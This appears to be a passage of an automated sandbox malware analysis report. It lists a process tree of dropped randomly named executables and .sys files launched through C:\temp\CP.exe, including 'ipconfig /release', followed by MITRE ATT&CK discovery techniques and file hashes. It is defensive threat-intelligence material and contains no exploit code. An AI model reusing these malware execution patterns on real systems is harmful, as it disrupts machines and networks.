    C:\Temp\i_kicavsqkfd.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:436
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\usmkfcxvpn.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:2304
- - C:\Temp\usmkfcxvpn.exe
    C:\Temp\usmkfcxvpn.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:448
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:3444
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4120
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_usmkfcxvpn.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:1256
- - C:\Temp\i_usmkfcxvpn.exe
    C:\Temp\i_usmkfcxvpn.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3380
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\smkecxusnh.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:4156
- - C:\Temp\smkecxusnh.exe
    C:\Temp\smkecxusnh.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:4300
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:1540
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4844
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_smkecxusnh.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:692
- - C:\Temp\i_smkecxusnh.exe
    C:\Temp\i_smkecxusnh.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:2972
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\hfzxrpjhcz.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:2096
- - C:\Temp\hfzxrpjhcz.exe
    C:\Temp\hfzxrpjhcz.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:2588
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:2376
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:2000
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_hfzxrpjhcz.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:1048
- - C:\Temp\i_hfzxrpjhcz.exe
    C:\Temp\i_hfzxrpjhcz.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4604
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\uomgeywrom.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:1324
- - C:\Temp\uomgeywrom.exe
    C:\Temp\uomgeywrom.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:4284
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:1508
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:2280
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_uomgeywrom.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:2872
- - C:\Temp\i_uomgeywrom.exe
    C:\Temp\i_uomgeywrom.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:2072
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\jdbztomgeb.exe ups_run
  2⤵
  PID:732
- - C:\Temp\jdbztomgeb.exe
    C:\Temp\jdbztomgeb.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3248
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:2568
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:2848
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_jdbztomgeb.exe ups_ins
  2⤵
  PID:4116
- - C:\Temp\i_jdbztomgeb.exe
    C:\Temp\i_jdbztomgeb.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3960
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\jdbvtolgey.exe ups_run
  2⤵
  PID:4844
- - C:\Temp\jdbvtolgey.exe
    C:\Temp\jdbvtolgey.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2760
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:3396
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:3348
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_jdbvtolgey.exe ups_ins
  2⤵
  PID:2200
- - C:\Temp\i_jdbvtolgey.exe
    C:\Temp\i_jdbvtolgey.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3748
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\aywqojdayt.exe ups_run
  2⤵
  PID:2108
- - C:\Temp\aywqojdayt.exe
    C:\Temp\aywqojdayt.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4620
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:3364
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:660
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_aywqojdayt.exe ups_ins
  2⤵
  PID:3348
- - C:\Temp\i_aywqojdayt.exe
    C:\Temp\i_aywqojdayt.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4280
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\qnifaysqki.exe ups_run
  2⤵
  PID:1300
- - C:\Temp\qnifaysqki.exe
    C:\Temp\qnifaysqki.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4588
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:3088
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4248
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_qnifaysqki.exe ups_ins
  2⤵
  PID:4596
- - C:\Temp\i_qnifaysqki.exe
    C:\Temp\i_qnifaysqki.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1304
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\axspkicaus.exe ups_run
  2⤵
  PID:1608
- - C:\Temp\axspkicaus.exe
    C:\Temp\axspkicaus.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1916
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:1992
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:3140
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_axspkicaus.exe ups_ins
  2⤵
  PID:1872
- - C:\Temp\i_axspkicaus.exe
    C:\Temp\i_axspkicaus.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:2752
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\xsnkfcxvpk.exe ups_run
  2⤵
  PID:3164
- - C:\Temp\xsnkfcxvpk.exe
    C:\Temp\xsnkfcxvpk.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1304
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:1648
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:940
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_xsnkfcxvpk.exe ups_ins
  2⤵
  PID:2972
- - C:\Temp\i_xsnkfcxvpk.exe
    C:\Temp\i_xsnkfcxvpk.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:572
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\czusmkecwu.exe ups_run
  2⤵
  PID:1880
- - C:\Temp\czusmkecwu.exe
    C:\Temp\czusmkecwu.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2520
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:652
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:2692
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_czusmkecwu.exe ups_ins
  2⤵
  PID:4248
- - C:\Temp\i_czusmkecwu.exe
    C:\Temp\i_czusmkecwu.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3300
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\rmkecwuomg.exe ups_run
  2⤵
  PID:4920
- - C:\Temp\rmkecwuomg.exe
    C:\Temp\rmkecwuomg.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2164
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:2572
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:3060
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_rmkecwuomg.exe ups_ins
  2⤵
  PID:4760
- - C:\Temp\i_rmkecwuomg.exe
    C:\Temp\i_rmkecwuomg.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5016
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\hbztrmgeyw.exe ups_run
  2⤵
  PID:3272
- - C:\Temp\hbztrmgeyw.exe
    C:\Temp\hbztrmgeyw.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3888
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:4072
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:1556
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_hbztrmgeyw.exe ups_ins
  2⤵
  PID:4740
- - C:\Temp\i_hbztrmgeyw.exe
    C:\Temp\i_hbztrmgeyw.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1160

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:2944

C:\Temp\cwuomkecwu.sys
C:\Temp\cwuomkecwu.sys
1⤵
- Executes dropped EXE
PID:4760

C:\Temp\mhezpjhbzt.sys
C:\Temp\mhezpjhbzt.sys
1⤵
- Executes dropped EXE
PID:3160

C:\Temp\eywqojgbzt.sys
C:\Temp\eywqojgbzt.sys
1⤵
- Executes dropped EXE
PID:1276

C:\Temp\trljdbvtol.sys
C:\Temp\trljdbvtol.sys
1⤵
- Executes dropped EXE
PID:4304

C:\Temp\gaysqlidav.sys
C:\Temp\gaysqlidav.sys
1⤵
- Executes dropped EXE
PID:3744

C:\Temp\aysicaysql.sys
C:\Temp\aysicaysql.sys
1⤵
- Executes dropped EXE
PID:2276

C:\Temp\snifaxsqki.sys
C:\Temp\snifaxsqki.sys
1⤵
- Executes dropped EXE
PID:4608

C:\Temp\fcxvpnhfzx.sys
C:\Temp\fcxvpnhfzx.sys
1⤵
- Executes dropped EXE
PID:2872

C:\Temp\smkfzxupjh.sys
C:\Temp\smkfzxupjh.sys
1⤵
- Executes dropped EXE
PID:2392

C:\Temp\ecwuomhezx.sys
C:\Temp\ecwuomhezx.sys
1⤵
- Executes dropped EXE
PID:2176

C:\Temp\bztrljebzt.sys
C:\Temp\bztrljebzt.sys
1⤵
PID:2760

C:\Temp\qojgbztrlj.sys
C:\Temp\qojgbztrlj.sys
1⤵
PID:4596

C:\Temp\lfdyvqoiga.sys
C:\Temp\lfdyvqoiga.sys
1⤵
PID:2160

C:\Temp\lxvqoidavt.sys
C:\Temp\lxvqoidavt.sys
1⤵
PID:3060

C:\Temp\vqnigaysqk.sys
C:\Temp\vqnigaysqk.sys
1⤵
PID:940

C:\Temp\icavsnkfdx.sys
C:\Temp\icavsnkfdx.sys
1⤵
PID:3144

C:\Temp\pjhcxupnhf.sys
C:\Temp\pjhcxupnhf.sys
1⤵
PID:1920

C:\Temp\zxrpjhbzur.sys
C:\Temp\zxrpjhbzur.sys
1⤵
PID:556

C:\Temp\zurmkebwuo.sys
C:\Temp\zurmkebwuo.sys
1⤵
PID:2964

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

CP.exe

Path C:\Temp\CP.exe
Size 4KB
SHA256 50b00a0816849edcc24eec9cfdd5443dbf33409ae05ee84202bfbcd00094485a
MD5 00d08d31f0ca0be125aa8ddb1c068a26
SHA1 c5e5cf5c0cb8a03c9146f5cd923cd620417eb75e
SHA512 6b5fe5899aa47239b53bc8dbd5ce6d9616ed2b0480fe55c34c27d6956f792a9c0796fe0dcd8949395284c3f5c59563efe333cc3e4e449fa9e9b7c219c88242a3
SSDEEP 48:i+HOtYCgTU534sKXG5BrBfdQSBe2nLB8JsU:fOWS3tpJ5un
TLSH
T11B912E2301A68472C8BD8FF711875AC9FABB51349322210C4BF70ED6EB70AB7446CB08
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

cwuomkecwu.sys

Path C:\Temp\cwuomkecwu.sys
Size 141KB
SHA256 1f5102708a1a310ad9d1667efb48a1d73fc0582c96726cbff24451f4929fc38c
MD5 5634fb56f61442e6fa5067b15f462da9
SHA1 57878f8e299cd72cb053d248b1d0e2c9cccf719c
SHA512 4bc616ad2b05670a4ec8e26f4b2d1048111168aa29dd80e8961f0f40428518f6ed0d95bbae495d15bbb030283f972e72000bbd89b3c59049ffa2f6c702b7200b
SSDEEP 3072:IsQB8BPFvdRcF8rFz1wxayNM3coteYnwrZ:IsQmpcF8BzXfwV
TLSH
T19AE38D12B2D1D172E8A618BC106AC72196BE79304F76D9C3FB940BAD5E683D0B83531F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

eywqojgbzt.sys

Path C:\Temp\eywqojgbzt.sys
Size 141KB
SHA256 1203901835fff5f27a45951b0f634340d8a9dc2f4ee22bc4ef5274b792740f9a
MD5 fcefe2867612f63bbb42a4dc7861de07
SHA1 90d3798b0e39abc618f0b549059c7eabf61ee375
SHA512 15f77ffee4951dff497badc849df4271f430a5bbf09a3fe55c3c92e322af6cc7dc2de8893324e0d85f1f1f10b331e3e6250f51859db59b3f624996142a689d60
SSDEEP 3072:7sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZ:7sQmpcF8BzXfwV
TLSH
T1D7E38D02B2D1D172E8A618BC106AC72196BE79304F76D9C3FB950BAD5E683D0B93531F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

gaysqlidav.sys

Path C:\Temp\gaysqlidav.sys
Size 141KB
SHA256 eef45d4800d139b97090f8ff5e269f5a85eb91d7520646f5ac1eb9abfe088cfb
MD5 e70e01c93938e40a32b8afd3df1b4606
SHA1 f5986052f6d6ab5c6a87b6ae48a5c43f8c12c390
SHA512 fbd47c350b03bd899a73402823f0f48140c5cfe46345592453f928d79d87083706297c1b949dfcdacfa842bab53ed8a134f52880a964941d0856c3fd6ba3e22d
SSDEEP 3072:usQB8BPFvdRcF8rFz1wxayNM3coteYnwrZ:usQmpcF8BzXfwV
TLSH
T1D1E38D12B2D1D172E8A618BC106AC72186BE79304F76D9C3FB950BAD5E683D0B83531F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

hczusmkfcu.exe

Path C:\Temp\hczusmkfcu.exe
Size 230KB
SHA256 8beaf8b76a1e513e85968cd7fcdea4ecb67a82b1e2f42af326be21121beb40c0
MD5 588a5355ed2004792e1ab60613eb0d23
SHA1 93a8f46c7a1068ddd2f41638df0f5227ee2f38df
SHA512 3e2ab8af99f19a525a5c89a653779d82a84347565830983b4ceef2e0fcdbb4651538e0e83cfdba304c4ebee6385a25e6bb0e589dcb82de7795bdf1b37b69c932
SSDEEP 3072:RJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:RghLQ0sQmpcF8BzXfwVfAI
TLSH
T186344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_hczusmkfcu.exe

Path C:\Temp\i_hczusmkfcu.exe
Size 230KB
SHA256 01e095cb16a0a723f22b35a5c7befa42a4673b62252dd803a3e58e9701ba6a45
MD5 53d5913cd3e7029aed1558a9fc4821f0
SHA1 16547cbd806a5c0e293df779d5c5746ff557a4b2
SHA512 fcec7e158460fc56c952e7c44eb8b91cb5c0c01a958a02108ee9c1b1375622dad7b585e68b5eeb24bdd1410c20fca05592acd8e80c910d75f7adf83f3c27cc55
SSDEEP 3072:3JWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:3ghLQ0sQmpcF8BzXfwVfAI
TLSH
T19B344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_lgaytqljdb.exe

Path C:\Temp\i_lgaytqljdb.exe
Size 230KB
SHA256 50682abc4334d73b2c380676496764695b8769c26b58f2b038935353aad3c426
MD5 473603de894e5b2363847d6832fa1228
SHA1 14d0d1b6a47eee0350bfead0ed6cefafaa3c1a2c
SHA512 8ca7b263eaae61ae5d8c430a8e5fa9e65edcd06320ed50cf7f30c8b8c1c05f64343c6e7482371981ac6f8d844f80ad85c8f41d0b48194dcdf8b37aae1d5e52ee
SSDEEP 3072:KJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:KghLQ0sQmpcF8BzXfwVfAI
TLSH
T1E6344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_trmjebwurm.exe

Path C:\Temp\i_trmjebwurm.exe
Size 230KB
SHA256 151bc28dfd41ad101c4f0e91dd00e5581cf30fafcc7524d270d227062973fae9
MD5 9d3ec8249978bcbe585a684faedcfd27
SHA1 0c6ad89f91630c289a843ebb0ebe44748559a1f0
SHA512 caa90cd2084fb244a37382ebc1e8239c7c6194260d8d287ee1d326c5b63104866e54320b1311e5fffda0a68a104098090afd89125400d38117aca6041d4364b6
SSDEEP 3072:KJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:KghLQ0sQmpcF8BzXfwVfAI
TLSH
T105344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_wrdbwtolge.exe

Path C:\Temp\i_wrdbwtolge.exe
Size 230KB
SHA256 f6eff13ce3c9a78fd9efcdc3509aaa893dcc62ca52415cef45256d25fd346316
MD5 eb205a5412aa25cdd91292d3a2bbbff3
SHA1 36f9e473690d4c3b4a3cdc74d76d57d830190a14
SHA512 389645e545ecfe5433b0d36588ebf0a60ac7deebebe758c4d0b3f0b5b027b51e59b9241302a0b2c1f81787f764e2f44715d4381f984822c148b82e9d6d4eb3fd
SSDEEP 3072:CJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:CghLQ0sQmpcF8BzXfwVfAI
TLSH
T1E9344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_zurpjhezwu.exe

Path C:\Temp\i_zurpjhezwu.exe
Size 230KB
SHA256 18b9beaeabbd4a6721dae76dfd03da024ea750a54dbb19c0788112b4f6ba87dd
MD5 86764ed24610c3b0295af36a142c414f
SHA1 0296f8e55187e81dac562a0806c0bdd737dbe78d
SHA512 23a86508bc976b2d1ffcb94399725a4de27660b5016b9ac2ca2d159616f8621b4620f1bd1481d65e82a040cdfc77c88aa6048e9d7ee60df9a7a925cf5b025b5a
SSDEEP 3072:UJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:UghLQ0sQmpcF8BzXfwVfAI
TLSH
T1ED344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

lgaytqljdb.exe

Path C:\Temp\lgaytqljdb.exe
Size 230KB
SHA256 aa47e7c1ec0a38c4146c8bd2c770ae9891641d7b780c1b2d2467d759e090cafb
MD5 6ce6f6ec9427d4c3e6388b4010ab4d0d
SHA1 01044c04f2c77f6e5ca9cf65b8158bd7a50591df
SHA512 e9f3cf8c1876069a0832c4d7a9b687072997b0163b1244ac2f260e02e25571b930d3731b32a9035d6ee7424809ac049a335326282e8f15ade94fd6dc2db9ec66
SSDEEP 3072:aJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:aghLQ0sQmpcF8BzXfwVfAI
TLSH
T119344A1272808071E7550B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

mhezpjhbzt.sys

Path C:\Temp\mhezpjhbzt.sys
Size 141KB
SHA256 c136cacd82eba9f791fc97646460eebba8f0f6b1bcc1e2cc7fb657bb27852149
MD5 6894162c336d43f24f171ae5e551e60b
SHA1 a2f3e0a1be4bcdfef03c7bbfae91151a679c4bb5
SHA512 6023361ca24cb080df7b01b564fd8721b858a2d3808000f5f57ad9dd4c1417afd9ef000405fe80961e9c34de2b0910207198aeb5f7ff7e354f428c73e6c8ac2c
SSDEEP 3072:/sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZ:/sQmpcF8BzXfwV
TLSH
T165E38D12B2D1D172E8A618BC106AC72186BE79304F76D9C3FB940BAD5E683D0B83531F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

trljdbvtol.sys

Path C:\Temp\trljdbvtol.sys
Size 141KB
SHA256 aa49a84a17040ddc2c13f393835f60e3ac6d9420ffd073c99728c579d1aec7cb
MD5 d6b9a8cc07abe887b28636e8b654340d
SHA1 ab0a0ee8887db2655a21a7fc0264c7867f8ed6ad
SHA512 22b30d4e16a0976c9f04ef40a1bed3cb8175e6ca049c080d57846dcb026725b1db3889689db61c8faf859f723565edaa3e80ea34bc4dc55f3457372d084b6e4c
SSDEEP 3072:YsQB8BPFvdRcF8rFz1wxayNM3coteYnwrZ:YsQmpcF8BzXfwV
TLSH
T125E38D02B2D1D172E8A618BC106AC72196BE79304F76D9C3FB950BAD5E683D0B93531F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

trmjebwurm.exe

Path C:\Temp\trmjebwurm.exe
Size 230KB
SHA256 9b11b342f7b60a7a5d97da7e218abeb4c4354762f956f2dcb729c83c81e01958
MD5 b5efbd5c243aa486fe5278a0ab86548e
SHA1 b2505c69b060d636f02bdccc6fa958fc6892b287
SHA512 76e9f7928502976b9bb0ebcaf1203d5bb6b0bb811134fab9c13627ba8abfca653c424330b72b21cde77b52d0873f5fff58c0f2854b2e3f09a97ebb699a05da9a
SSDEEP 3072:IJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:IghLQ0sQmpcF8BzXfwVfAI
TLSH
T11E344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

wrdbwtolge.exe

Path C:\Temp\wrdbwtolge.exe
Size 230KB
SHA256 456b22e380e25edde5d6327fdc0b1f6a3b3c433ac2944d9a988043324de0edf8
MD5 d23520f696392bc1eccb4a1044f5c357
SHA1 909cad8f3e5f3e3fe058c7ea17c8c96b006ef6fb
SHA512 39a91576a0a2b2a43b5045bad5aef84f0f30be6cc1cb7b0b47988844c38df9d23211714e7be039442a7d792c3eb3bc70ce8d23c6605f6960fa7eca0586f51116
SSDEEP 3072:sJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:sghLQ0sQmpcF8BzXfwVfAI
TLSH
T199344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

zurpjhezwu.exe

Path C:\Temp\zurpjhezwu.exe
Size 230KB
SHA256 1c1f8b9fec0c378567804eda9003606c8a79be7ba374973df25d614d33ccacf1
MD5 fbacbed4402d95bef833eef1a4064555
SHA1 a83b1ccde232521ca8772539861f0e9df3c8ce4c
SHA512 aaf4cdacf227c3afe562a7c8fd15adf1f941950d7de6df54ec0c14ff230b192a9077759b2aa5cf537769d28b405b86e9833a091214838552602bcc5a9da7c9ab
SSDEEP 3072:/JWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:/ghLQ0sQmpcF8BzXfwVfAI
TLSH
T1DF344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

blocklist

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist
Size 105KB
SHA256 33289f142cf0a94a2540a41d2a4ae71ef2f8ecec2bbbea1c988bd4765f8063fd
MD5 d31c003ffca8113f49317a273917f6af
SHA1 acc87f1746321f49b8e30fbc124eb0b59e14be03
SHA512 1ff3de91d8bbe58213ce903e55b5ae8d32f36416ae179b3c9aec7bb1cb12c21f452ec8ac60d0689f5bc0fccb70c70deb2c799f1bfb0b4b406a7cbd26d7046572
SSDEEP 1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7C:fwUQC5VwBIiElEd2K57P7C
TLSH
T1DBB3B931457E36BF26E93EE828CF1511B84F3912664895D4ABE1FE2C4845E68633CEF4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

protocols.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\AutoLaunchProtocolsComponent\1.0.0.10\protocols.json
Size 3KB
SHA256 4fd800e7b1a5fb24b13fac2e31946d205012b7c28d8c61580b0669b2fa3517cc
MD5 1de85fec2dfcc28011a7c2aaab95eb5f
SHA1 80e8c954bfbe8f7ee5a2335c8d969ae033935dc3
SHA512 9c7dd37eb0c094b6aa05201e7c71a8f33b9db81284223bcfa595a44a6ac95d5a6820ab6f07b7aa8d26bf207454e94277bf35332e9c009ee63f083752b6b51750
TLSH
T1D1611DB79A3048090E3412B86B19B35DF63E029F1AD598EB76BE568F1F710F7245C54C
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 0b5dc1bf65a27f8ea20844919d7db192caf7a54fd791434a1304a7df2e9b496f
MD5 5de7bfd3f869f48e7255b6bdc532c4bc
SHA1 c26027eb70bc9887bf69c2b22be60226b685dbae
SHA512 0e6af8c455f57dc816a2c01366f46a0d069e8f41cccb1f7565e2afd873b71ffd5f135649fb4bf44d1a15a9efd68dc59696dc74a971b3483ec9d87a4323b2b4f2
TLSH
T112D08032FB5D6052E7455230D893DF10276644A12C974B41E325C84CD5B80D493C3282
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 e3c932e879f8a7071362a654b47cd73c05f90d7fe66be785d811b84b86743e1b
MD5 8c92d931ed33c3d779a020ae7e111fb4
SHA1 de123f6d92bf24747affe820aaa8be3785388fae
SHA512 5be895d6a61eacf4f3117293636fb4890abbe186ddcbfbb3c8d3aa0fd1aa59519bbdd86e552732d2ded27aae5be1ffb0d6d9f6ccaac824d1b13ed03a12a438dc
TLSH
